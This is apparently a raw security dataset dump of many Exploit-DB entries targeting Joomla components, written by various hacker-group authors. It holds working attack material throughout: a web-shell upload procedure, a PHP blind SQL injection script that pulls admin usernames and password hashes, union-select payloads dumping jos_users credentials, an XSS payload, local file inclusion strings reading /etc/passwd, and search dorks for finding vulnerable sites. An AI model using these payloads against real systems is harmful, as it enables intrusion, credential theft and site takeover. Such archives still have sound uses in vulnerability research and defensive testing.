deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20197
Description: Joomla! Component com_joomgalaxy 1.2.0.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-02
Author: D4NB4R

Exploit:
_______________________________________________________________________________________
  
 Exploit Title: Joomla joomgalaxy 1.2.0.4 Multiple Vulnerabilites

 dork: inurl:com_joomgalaxy
 
 Date: [01-08-2012]
 
 Author: Daniel Barragan "D4NB4R"
 
 Twitter: @D4NB4R
 
 site: http://poisonsecurity.wordpress.com/
 
 Vendor: http://www.joomgalaxy.com/
 
 Version: 1.2.0.4 (last update on Jul 27, 2012)
 
 License: Commercial $ 149 us

 Demo: http://joomgalaxy.com/demo/
  
 Tested on: [Linux(bt5)-Windows(7ultimate)]


Joomgalaxy is a rich, comprehensive directory component brimming with unique features like Entry comparison, Pay per download, Tagging, Email Cloaking, Review and Rating with Multiple Attributes, add Articles to Entries, with many more plus all standard directory features as well. 

 
 
1. Unrestricted File Upload 

    

     1a. Go to this route, Complete the form and login the site
         Ingrese a esta ruta, Complete el formulario e ingrese al sitio 
    
                http://site/index.php?option=com_users&view=registration
 
 
     1b. go to the following link and create a new post (sometimes it ask for confirmation of an administrator)
         so then create the post with something of social engineering and wait for a confirmation, if not forget this step

         vaya a este enlace cree un nuevo anuncio "Algunas veces pide confirmacion de administrador"
         asi que cree el anuncio con algo de ingenieria social y espere que confirmen si no omita este paso 

               http://site/index.php?option=com_joomgalaxy&view=addentry
 
 
     1c.  once the post is published go to the tab images and upload your shell in the following way: shell.php.jpg
          Una vez resgistrado el anuncio dirijase a la pestaña imagenes y suba su shell de la siguiente forma 
          shell.php.jpg 
  
             
     1d.  Find your shell in the path 
          Busque su shell en este path 
 
           http://site/administrator/components/com_joomgalaxy/assets/images/Image_gallery/randomid_shell.php.jpg


2. Sql Injection

    
    p0c:   

           http://site/index.php?option=com_joomgalaxy&view=categorylist&type=thumbnail&lang=en&catid=100[PII_REDACTED]00001=0 union (select 1,database(),3,4,5,6,7,8,9,10,11,12,13)


     
    Gretz : devboot, P1l0tcast, ksha, dedalo, etc..  
  
 
Im not responsible for which is given
No me hago responsable del uso que se le de
_______________________________________________________________________________________
Daniel Barragan "D4NB4R"  2012
Exploit-DB #10312
Description: Joomla! Component com_joomgallery 1.5.x - &func Incorrect Flood Filter
Type: webapps
Platform: php
Date: 2009-12-04
Author: Jbyte

Exploit:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://server/index.php?option=com_joomgallery&func=votepic&id="here id de voto"&Itemid=85");
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS,"imgvote=5&Votar%21=Votar%21");
curl_exec($ch);

curl_close($ch);
?>
Exploit-DB #11578
Description: Joomla! Component com_Joomlaconnect_be - Blind Injection
Type: webapps
Platform: php
Date: 2010-02-25
Author: snakespc

Exploit:
#!/usr/bin/php
<?php
ini_set("max_execution_time",0);
print_r('
###########################################################################
[»] Joomla com_joomlaconnect_be Remote Blind Injection Vulnerability
###########################################################################
[»] Script:   [Joomla]
[»] Language: [ PHP ]
[»] Founder:  [ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]
[»] Greetz to:[ Spécial >>>>His0k4 >>>>   Tous les hackers Algérie
[»] Dork: inurl:index.php?option=com_joomlaconnect_be
###########################################################################

###########################################################################
#
#  Joomla com_joomlaconnect_be (id) Blind SQL Injection Exploit
#  [x] Usage: joomla.php "http://url/index.php?option=com_joomlaconnect_be&Itemid=53&task=showBizPage&id=3
#
#
###########################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
}
?>
Exploit-DB #9238
Description: Joomla! Component com_Joomlaoads - 'packageId' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-23
Author: Mr.tro0oqy

Exploit:
=======================================================
+++++++++++++++++++ information +++++++++++++++++++++++
=======================================================
[+] Script : Joomla Component com_joomloads (packageId) Remote SQL Injection Vuln

[+] Found by : Mr.tro0oqy  
   
[+] C0ntact : t.4@windowslive.com <Yemeni ana>
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
exploit:
--------
http://localhost/path/index.php?option=com_joomloads&view=package&Itemid=2&packageId=<SQL CODE>



demo:
-----
http://www.xxx.com/index.php?option=com_joomloads&view=package&Itemid=2&packageId=-156+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17+from+jos_users--

# milw0rm.com [2009-07-23]
Exploit-DB #9593
Description: Joomla! Component com_Joomlaub - 'aid' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-04
Author: 599eme Man

Exploit:
_00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________



# [+] Joomla Compenent Com_joomlub (aid) Remote SQL Injection Vulnerabilities
# [+] Software : Joomla Compenent Com_joomlub
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
# [+] Thanks : Moudi, Kim, Neocoderz, Sheiry, Shimik Root aka Str0zen, Pr0H4ck3rz, Staker, Security-shell...
#
#[------------------------------------------------------------------------------------]
# 
# [+] Vulnerability
#
#	[+] SQL
#
#		- http://www.site.com/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=-2%20union%20all%20select%201,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
#
#			[+] Demo
#
#				- http://www.joomlub.fr.nf/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=-2%20union%20all%20select%201,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
#
#	[+] Blind SQL
#
#		- http://www.site.com/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2%20and%201=2 => False
#		- http://www.site.com/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2%20and%201=1 => True
#
#		- http://www.site.com/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2 and substring(@@version,1,1)=4 => False
#		- http://www.site.com/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2 and substring(@@version,1,1)=5 => True
#
#			[+] Demo
#
#				
#				- http://www.joomlub.fr.nf/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2%20and%201=2 => False
#				- http://www.joomlub.fr.nf/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2%20and%201=1 => True
#		 
#				- http://www.joomlub.fr.nf/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2 and substring(@@version,1,1)=4 => False
#				- http://www.joomlub.fr.nf/index.php?option=com_joomlub&controller=auction&view=auction&task=edit&aid=2 and substring(@@version,1,1)=5 => True
#
#
#[------------------------------------------------------------------------------------]
#
#########################################################################################################

# milw0rm.com [2009-09-04]
Exploit-DB #17341
Description: Joomla! Component com_joomnik - SQL Injection
Type: webapps
Platform: php
Date: 2011-05-29
Author: SOLVER

Exploit:
<------------------- header data start ------------------- >
#############################################################
Joomla Component Joomnik Gallery SQL Injection Vulnerability                                      
#############################################################

# Author : SOLVER ~ Bug Researchers

# Date : 26.05.2011

# Greetz : DreamPower - CWKOMANDO - Toprak - Equ - Err0r - 10line

# Name : Joomla com_joomnik

# Bug Type : SQL injection

# Infection : Admin Login Bilgileri Alinabilir.

# Example Vuln :

[+]/index.php?option=com_joomnik&album=[EXPLOIT]

[+] Dork:"com_joomnik"

[+] Demo: http://site.com/index.php?option=com_joomnik&album=6'

# Bug Fix Advice : Zararli Karakterler Filtrenmelidir.
#############################################################
http://joomlacode.org/gf/project/joomnik/
Exploit-DB #33418
Description: Joomla! Component com_joomportfolio - 'secid' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-17
Author: Fl0riX & Snakespc

Exploit:
source: https://www.securityfocus.com/bid/37403/info

The 'com_joomportfolio' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_joomportfolio&Itemid=552&task=showcat&catid=1&secid=1/**/and/**/1=0/**/union/**/select/**/concat(username,0x3a,password),user()/**/from/**/jos_users/**/
Exploit-DB #11463
Description: Joomla! Component com_joomportfolio - Blind Injection
Type: webapps
Platform: php
Date: 2010-02-15
Author: snakespc

Exploit:
==============================================================================
[»] Joomla com_joomportfolio Remote Blind Injection Vulnerability
==============================================================================
   
[»] Script:   [Joomla]
[»] Language: [ PHP ]
[»] Founder:  [ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]
[»] Greetz to:[ sec-warTeaM, PrEdAtOr ,alnjm33 >>> All My Mamber >> sec-war.com/cc ]
   
###########################################################################
 ===[ Exploit ]===
   
[»] http://server/index.php?option=com_joomportfolio&task=showsec&Itemid=44&secid=1+AND SUBSTRING(@@version,1,1)=4 (no)
[»] http://server/index.php?option=com_joomportfolio&task=showsec&Itemid=44&secid=1+AND SUBSTRING(@@version,1,1)=5 (yes)
###########################################################################
Exploit-DB #23286
Description: Joomla! Component com_jooproperty 1.13.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-12-11
Author: D4NB4R

Exploit:
 1               #########################################              1
 0               I'm D4NB4R member from Inj3ct0r Team                   1
  1               #########################################              0
 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

 #Exploit Title: Joomla com_jooproperty SQL injection && Cross site scripting Vulnerability

 Dork: inurl:com_jooproperty
 
 Date: [10-12-2012]
 
 Author: Daniel Barragan "D4NB4R"
 
 Twitter: @D4NB4R
 
 Vendor: http://www.jooproperty.com/
 
 Version: 1.13.0

 Date Added:  12 November 2012
 
 License: GPLv2 or later Commercial]

 Compatibility: Joomla! 2.5 Series

 Information: http://extensions.joomla.org/extensions/vertical-markets/real-estate/22500
 
 Tested on: [Linux(Arch)-Windows(7ultimate)]

 
 Descripcion: 

JooProperty is a real estate component developed for Joomla 1.7 and 2.5 with complex integrated booking features, 
price calculation for different seasons and comment and rating functions.
The component is based on com-property for Joomla 1.5 of Fabio Ueltzinger and offers the possibility to import 
the database of com-property V3 and V4 to migrate your realty website to Joomla 2.5.
All property relevant information like categories, locations, description, extras/amenities, season, price 
categories, prices and special fees can be translated.


 Vulnerable Parameter Name: 

                                  product_id

 Parameter Type: 

                                  Querystring  

 Method: 
                                  Get


 Attack Pattern Sql:

                 -{Valid id}%20and%201=0%20union%20select%201,(select group_concat(username,0x3D,password)%20from%20dy978_users)+--+D4NB4R 

 Attack Pattern Xss:
                   
               ?layout=modal&option=com_jooproperty&product_id=" onmouseover%3dprompt() bad%3d"&view=booking


 Exploit Demo: 

    SQLi : SQL injection

           http://localhost/?option=com_jooproperty&view=booking&layout=modal&product_id=1%20and%201=0%20union%20select%201,(select group_concat(username,0x3D,password)%20from%20dy978_users)+--+D4NB4R 

     xss : Cross site scripting

           http://localhost/?layout=modal&option=com_jooproperty&product_id=%22%20onmouseover%3dprompt%28%29%20bad%3d%22&view=booking

  Greetz:  All Member Inj3ct0r  Team * m1nds group (www.m1nds.com)* pilot * aku * navi_terrible * dedalo * ksha
  * shine * devboot * r0073r * indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 Jago-dz * Kha&miX * T0xic
  * Ev!LsCr!pT_Dz * By Over-X *Saoucha * Cyber Sec * theblind74 * onurozkan * n2n * Meher Assel
  * L0rd CruSad3r * MaYur * MA1201 * KeDar * Sonic * gunslinger_ * SeeMe * RoadKiller Sid3^effects
  * aKa HaRi * His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * MR.SoOoFe
  * ThE g0bL!N * AnGeL25dZ * ViRuS_Ra3cH * Sn!pEr.S!Te


_____________________________________________________
Daniel Barragan "D4NB4R" 2012
Exploit-DB #10367
Description: Joomla! Component com_jphoto - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-10
Author: kaMtiEz

Exploit:
##########################################################################
## Joomla Component com_jphoto SQL injection vulnerability - (id)	##
## Author : kaMtiEz (kamzcrew@yahoo.com)				##
## Homepage : http://www.indonesiancoder.com    	     		##
## Date : december 9, 2009 						##
##########################################################################

[ Software Information ]

[+] Vendor : http://www.corephp.com/
[+] About : http://www.corephp.com/jphoto/about.html
[+] Dork : inurl:"com_jphoto"
[+] LOCATION : INDONESIA - JOGJA
[+] price : -

##########################################################################

[ HERE WE GO ... LIVE FROM JOGJA CITY ]

[ Vulnerable File ]

http://server/index.php?option=com_jphoto&view=category&id=[INDONESIANCODER]

[ Exploit ]

-666+union+all+select+666,concat_ws(0x3a,username,password),666,666,666,666,666,666,666,666,@@version,666,666+from+jos_users--


##########################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown
[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h
[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz
[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy,Jack- and YOU!!

[ NOTE ] 

[+] Babe enyak adek i love u pull dah .. 
[+] selamat hari korupsi :D .. 
[+] syalalala ... 

[ EOF ]
[+] INDONESIANCODER TEAM
[+] KILL -9 TEAM
Exploit-DB #33797
Description: Joomla! Component com_jresearch - 'Controller' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-24
Author: Chip d3 bi0s

Exploit:
source: https://www.securityfocus.com/bid/38917/info

The 'com_jresearch' component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. 

http://www.example.com/index.php?option=com_jresearch&controller=../../../../../../../../../../proc/self/environ%00
Exploit-DB #35922
Description: Joomla! Component com_jr_tfb - 'Controller' Local File Inclusion
Type: webapps
Platform: php
Date: 2011-07-05
Author: FL0RiX

Exploit:
source: https://www.securityfocus.com/bid/48558/info

The 'com_jr_tfb' component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. 

http://www.example.com/index.php?option=com_jr_tfb&controller=../../../../../../../../etc/passwd%00
Exploit-DB #10366
Description: Joomla! Component com_jsjobs 1.0.5.6 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-10
Author: kaMtiEz

Exploit:
##########################################################################
## Joomla Component com_jsjobs Multiple SQL injection vulnerability 	##
## Author : kaMtiEz (kamzcrew@yahoo.com)				##
## Homepage : http://www.indonesiancoder.com    	     		##
## Date : December 9, 2009 						##
##########################################################################

[ Software Information ]

[+] Vendor : http://www.joomshark.com/
[+] Download : http://www.joomsky.com/index.php?option=com_rokdownloads&view=file&task=download&id=23:js-jobs
[+] version : 1.0.5.6
[+] Vulnerability : SQL injection
[+] Dork : inurl:"com_jsjobs"
[+] LOCATION : INDONESIA - JOGJA
[+] Note : this extension have 2 categories .. free and commercial :D
[+] price : 20$

##########################################################################
[ HERE WE GO ... LIVE FROM JOGJA CITY ]

[ Vulnerable File ]

http://server/index.php?option=com_jsjobs&c=jsjobs&view=employer&layout=view_company&vm=kaMz&md=[INDONESIANCODER]

http://server/index.php?option=com_jsjobs&c=jsjobs&view=employer&layout=view_job&vj=kaMtiEz&jobcat=Tukulesto&oi=[INDONESIANCODER]

[ Exploit ]

-666+union+all+select+666,concat_ws(0x3a,username,password),666,666,666,666,666,666,666,666,@@version,666,666+from+jos_users--

-666+union+select+666,666,666,concat_ws(0x3a,username,password),666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,version(),666,666,666,666,666,666,666,666,666,6666+from+jos_users--


##########################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown
[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h
[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz
[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy,Jack- and YOU!!

[ NOTE ] 

[+] Babe enyak adek i love u pull dah .. 
[+] selamat hari korupsi :D .. 
[+] Tukulesto : xpl terossssssssssss ... 
[+] Gh4mb4S : sabar yach .. pasti ada hasil .. hahhaa
[+] dimanakah keadilan di tanah airku tercinta ??

[ EOF ]
[+] INDONESIANCODER TEAM
[+] KILL -9 TEAM
Exploit-DB #13796
Description: Joomla! Component com_jstore - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-09
Author: Sid3^effects

Exploit:
      ============================================
          joomla com_jstore SQLi Vulnerability
       ============================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Joomla com_jstore SQLi Vulnerability
Date : june, 9 2010
Vendor url :http://ijoobi.com
Dork: inurl:com_jstore
Platform: Windows
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,gunslinger_
greetz to :All ICW members.

#######################################################################################################

########
Description:

Joomla com_jstore from ijoobi suffers from sql injection vulnerability :).


#######################################################################################################

########

Xploit: SQLi Vulnerability

DEMO :

    http://server/index.php?option=com_jstore&controller=product-display&task=[sqli]

#######################################################################################################

########
# 0day no more
# Sid3^effects